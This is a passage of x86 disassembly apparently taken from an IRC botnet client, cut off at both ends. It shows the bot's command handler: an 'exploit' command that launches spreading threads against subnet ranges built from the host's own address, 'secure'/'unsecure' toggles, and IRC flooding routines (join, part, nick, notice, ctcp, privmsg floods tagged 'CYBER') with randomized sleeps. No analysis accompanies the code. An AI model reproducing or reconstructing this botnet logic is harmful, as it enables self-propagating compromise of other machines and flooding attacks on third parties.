		mov	ax, ds:word_42A088


loc_40477B:				; CODE XREF: seg000:00404773j
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		mov	[ebp-978h], ax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-968h], eax
		lea	eax, [ebp-9F8h]
		push	eax
		mov	[ebp-9FCh], esi
		mov	[ebp-96Ch], edi
		call	sub_41BB70
		movzx	eax, word ptr [ebp-978h]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42CF08
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	edi
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		call	sub_409966
		push	ebx
		lea	eax, [ebp-2C0h]
		push	6
		push	eax
		call	sub_40AF71
		add	esp, 30h
		mov	[ebp-974h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	ebx
		push	eax
		push	offset word_40E8D2
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-974h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40484D
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CEC8
		jmp	loc_4098CE
; ---------------------------------------------------------------------------


loc_404845:				; CODE XREF: seg000:00404853j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40484D:				; CODE XREF: seg000:00404832j
		cmp	[ebp-964h], ebx
		jz	short loc_404845
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_40485A:				; CODE XREF: seg000:00402A67j
					; seg000:00402A7Cj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404882
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C260
		pop	ecx
		mov	[ebp-0A0Ch], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40488C


loc_404882:				; CODE XREF: seg000:00404869j
		mov	dword ptr [ebp-0A0Ch], 1


loc_40488C:				; CODE XREF: seg000:00404880j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0A90h]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-0A0Ch], ebx
		mov	[ebp-0A94h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0A08h], eax
		mov	eax, [ebp-8]
		mov	[ebp-0A04h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4048D3
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4048D3:				; CODE XREF: seg000:004048CCj
		push	eax
		push	offset dword_42CE94
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41BB70
		push	ebx
		lea	eax, [ebp-2C0h]
		push	22h
		push	eax
		call	sub_40AF71
		add	esp, 1Ch
		mov	[ebp-0A10h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0A94h]
		push	ebx
		push	eax
		push	offset sub_419FE4
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0A10h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40494A
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CE58
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_404942:				; CODE XREF: seg000:00404950j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40494A:				; CODE XREF: seg000:0040492Fj
		cmp	[ebp-0A00h], ebx
		jz	short loc_404942
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_404957:				; CODE XREF: seg000:00402A3Dj
					; seg000:00402A52j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41A89B


loc_404968:				; CODE XREF: seg000:004045A9j
					; seg000:004045BFj ...
		add	esp, 0Ch
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_404970:				; CODE XREF: seg000:00402A13j
					; seg000:00402A28j
		push	offset unk_42CDA8
		jmp	loc_4061FF
; ---------------------------------------------------------------------------


loc_40497A:				; CODE XREF: seg000:004029E9j
					; seg000:004029FEj
		push	offset aFenr_0	; "FEnR"
		push	offset dword_42CD98
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_404989:				; CODE XREF: seg000:004029BFj
					; seg000:004029D4j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_4049E5
		push	esi
		call	sub_41B969
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049DA
		cmp	eax, 1
		jge	short loc_4049DA
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_4049CF
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42E058
		push	eax
		call	sub_41BA76
		mov	[esi], bl
		jmp	loc_405F4E
; ---------------------------------------------------------------------------


loc_4049CF:				; CODE XREF: seg000:004049B1j
		push	eax
		push	offset unk_42CD6C
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_4049DA:				; CODE XREF: seg000:0040499Dj
					; seg000:004049A2j
		push	eax
		push	offset unk_42CD40
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: seg000:00404992j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4049EA:				; CODE XREF: seg000:00404A06j
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A0D
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_4049EA
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_404A0D:				; CODE XREF: seg000:004049FAj
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_42E058
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: seg000:00402995j
					; seg000:004029AAj
		push	dword ptr [ebp-8Ch]
		push	offset dword_42DFCC
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403449
		call	sub_40B134
		push	ebx
		call	ds:dword_428068	; ExitProcess


loc_404A4D:				; CODE XREF: seg000:00403482j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF3
		cmp	ds:dword_4D137C, ebx
		jz	short loc_404A79
		push	offset dword_4D0D60
		push	offset unk_42CD04
		jmp	loc_404B05
; ---------------------------------------------------------------------------


loc_404A79:				; CODE XREF: seg000:00404A68j
		push	10h
		pop	eax
		mov	[ebp-2D4h], eax
		push	eax
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-2D4h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_428230	; getsockname
		movzx	eax, byte ptr [ebp-2DEh]
		push	eax
		movzx	eax, byte ptr [ebp-2DFh]
		push	eax
		movzx	eax, byte ptr [ebp-2E0h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42CD04
		push	eax
		call	sub_41BA76
		add	esp, 20h
		jmp	loc_4034A1
; ---------------------------------------------------------------------------


loc_404AF3:				; CODE XREF: seg000:00404A5Cj
		push	esi
		call	ds:dword_4CDC38	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404B19
		push	offset unk_42CCC4


loc_404B05:				; CODE XREF: seg000:00404A74j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_4034A1
; ---------------------------------------------------------------------------


loc_404B19:				; CODE XREF: seg000:00404AFEj
		push	offset dword_4D0D60
		call	sub_41C0A0
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset unk_42CC98
		push	eax
		mov	ds:dword_4D137C, 1
		call	sub_41BA76
		add	esp, 14h
		jmp	loc_4034A1
; ---------------------------------------------------------------------------


loc_404B47:				; CODE XREF: seg000:0040346Aj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C40
		mov	eax, [ebp-4]
		mov	esi, offset aBo_0 ; "#bo-"
		mov	[ebp-13E0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-13DCh], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-13F0h], eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp-1470h]
		push	edi
		push	eax
		mov	dword ptr [ebp-13E8h], 1
		call	sub_41BB70
		push	esi
		lea	eax, [ebp-14F0h]
		push	edi
		push	eax
		call	sub_41BB70
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1500h]
		push	10h
		push	eax
		call	sub_41BB70
		lea	eax, [ebp-1500h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42CC60
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	8
		push	eax
		call	sub_40AF71
		add	esp, 3Ch
		mov	[ebp-13E4h], eax
		lea	eax, [ebp-308h]
		push	eax
		lea	eax, [ebp-1500h]
		push	ebx
		push	eax
		push	offset dword_40B700
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-13E4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_404C33
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CC20
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_404C2B:				; CODE XREF: seg000:00404C39j
		push	32h
		call	ds:dword_428064	; Sleep


loc_404C33:				; CODE XREF: seg000:00404C18j
		cmp	[ebp-13D8h], ebx
		jz	short loc_404C2B
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_404C40:				; CODE XREF: seg000:00404B56j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C6
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C6
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409680
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409680
		push	dword ptr [ebp+10h]
		push	offset aFlood	; "flood"
		call	sub_41C260
		mov	edi, ds:dword_428064
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057FC
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		push	dword ptr [ebp+18h]
		push	offset aLoad	; "load"
		call	sub_41C260
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404D43
		cmp	[ebp+esi-80h], ebx
		jz	short loc_404D43
		push	dword ptr [ebp+esi-80h]
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-84h]
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-88h]
		call	sub_417ABA
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+esi-80h]
		push	offset unk_42CBB8
		push	eax
		call	sub_41BA76
		add	esp, 20h
		cmp	[ebp-8], ebx
		jnz	short loc_404D43
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_404D43:				; CODE XREF: seg000:00404CCFj
					; seg000:00404CD5j ...
		push	dword ptr [ebp+18h]
		push	offset dword_42CBB4
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DAC
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404DAC
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB0
		push	eax
		call	sub_4180DD
		push	eax
		lea	eax, [ebp-50F0h]
		push	eax
		call	sub_41C0A0
		lea	eax, [ebp-50F0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CBA0
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 28h


loc_404DAC:				; CODE XREF: seg000:00404D54j
					; seg000:00404D5Fj
		push	dword ptr [ebp+18h]
		push	offset dword_42CB9C
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E15
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404E15
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB0
		push	eax
		call	sub_4180DD
		push	eax
		lea	eax, [ebp-4BECh]
		push	eax
		call	sub_41C0A0
		lea	eax, [ebp-4BECh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CB88
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 28h


loc_404E15:				; CODE XREF: seg000:00404DBDj
					; seg000:00404DC8j
		push	dword ptr [ebp+18h]
		push	offset aNt	; "nt"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E7E
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404E7E
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB0
		push	eax
		call	sub_4180DD
		push	eax
		lea	eax, [ebp-46E8h]
		push	eax
		call	sub_41C0A0
		lea	eax, [ebp-46E8h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 28h


loc_404E7E:				; CODE XREF: seg000:00404E26j
					; seg000:00404E31j
		push	dword ptr [ebp+18h]
		push	offset aMode	; "mode"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EE7
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404EE7
		push	offset asc_42E0C8 ; " "
		push	offset dword_42CBB0
		push	eax
		call	sub_4180DD
		push	eax
		lea	eax, [ebp-4DECh]
		push	eax
		call	sub_41C0A0
		lea	eax, [ebp-4DECh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 28h


loc_404EE7:				; CODE XREF: seg000:00404E8Fj
					; seg000:00404E9Aj
		push	dword ptr [ebp+18h]
		push	offset aJoin	; "join"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F26
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404F26
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 10h


loc_404F26:				; CODE XREF: seg000:00404EF8j
					; seg000:00404F03j
		push	dword ptr [ebp+18h]
		push	offset aPart_0	; "part"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F65
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404F65
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 10h


loc_404F65:				; CODE XREF: seg000:00404F37j
					; seg000:00404F42j
		push	dword ptr [ebp+18h]
		push	offset aPartflood ; "partflood"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FA9
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404FA9
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_404FA9:				; CODE XREF: seg000:00404F76j
					; seg000:00404F81j
		push	dword ptr [ebp+18h]
		push	offset aPnick	; "pnick"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40501E
		cmp	[ebp+esi-88h], ebx
		jz	short loc_40501E
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		call	sub_41BAD2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp-1804h]
		push	edx
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CB18
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-1804h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h


loc_40501E:				; CODE XREF: seg000:00404FBAj
					; seg000:00404FC3j
		push	dword ptr [ebp+18h]
		push	offset dword_42CB04
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405165
		cmp	[ebp+esi-88h], ebx
		jz	loc_405165
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h
		call	sub_41BAD2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 10h
		call	sub_41BAD2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h
		call	sub_41BAD2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_405165:				; CODE XREF: seg000:0040502Fj
					; seg000:0040503Cj
		push	dword ptr [ebp+18h]
		push	offset dword_42CB00
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051FF
		cmp	[ebp+esi-88h], ebx
		jz	short loc_4051FF
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		call	sub_41BAD2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BAD2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BAD2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BAD2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BAD2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp-2C0h]
		push	edx
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CAD8
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h


loc_4051FF:				; CODE XREF: seg000:00405176j
					; seg000:00405183j
		push	dword ptr [ebp+18h]
		push	offset aNick_0	; "nick"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052FC
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	loc_4052FC
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_417B38
		lea	eax, [ebp-4B8h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_417B38
		lea	eax, [ebp-4B8h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h
		call	sub_41BAD2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_417B38
		lea	eax, [ebp-4B8h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_4052FC:				; CODE XREF: seg000:00405210j
					; seg000:0040521Fj
		push	dword ptr [ebp+18h]
		push	offset aChgnick	; "chgnick"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405342
		lea	eax, [ebp-17CCh]
		push	eax
		call	sub_417B38
		lea	eax, [ebp-17CCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_405342:				; CODE XREF: seg000:0040530Dj
		push	dword ptr [ebp+18h]
		push	offset aMsg	; "msg"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40542E
		cmp	[ebp+esi-88h], ebx
		jz	loc_40542E
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CBA0
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h
		call	sub_41BAD2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CBA0
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h
		call	sub_41BAD2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_42CBA0
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_40542E:				; CODE XREF: seg000:00405353j
					; seg000:00405360j
		push	dword ptr [ebp+18h]
		push	offset aNotice_0 ; "notice"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40551A
		cmp	[ebp+esi-88h], ebx
		jz	loc_40551A
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 24h
		call	sub_41BAD2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h
		call	sub_41BAD2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h


loc_40551A:				; CODE XREF: seg000:0040543Fj
					; seg000:0040544Cj
		push	dword ptr [ebp+18h]
		push	offset aCtcp	; "ctcp"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40562E
		cmp	[ebp+esi-88h], ebx
		jz	loc_40562E
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_42CA90
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 20h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_42CA78
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 10h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_42CA60
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 10h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_42CA60
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 10h


loc_40562E:				; CODE XREF: seg000:0040552Bj
					; seg000:00405538j
		push	dword ptr [ebp+18h]
		push	offset aMix	; "mix"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405751
		cmp	[ebp+esi-88h], ebx
		jz	loc_405751
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_42CA90
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 20h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4177DF
		add	esp, 14h
		call	sub_41BAD2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
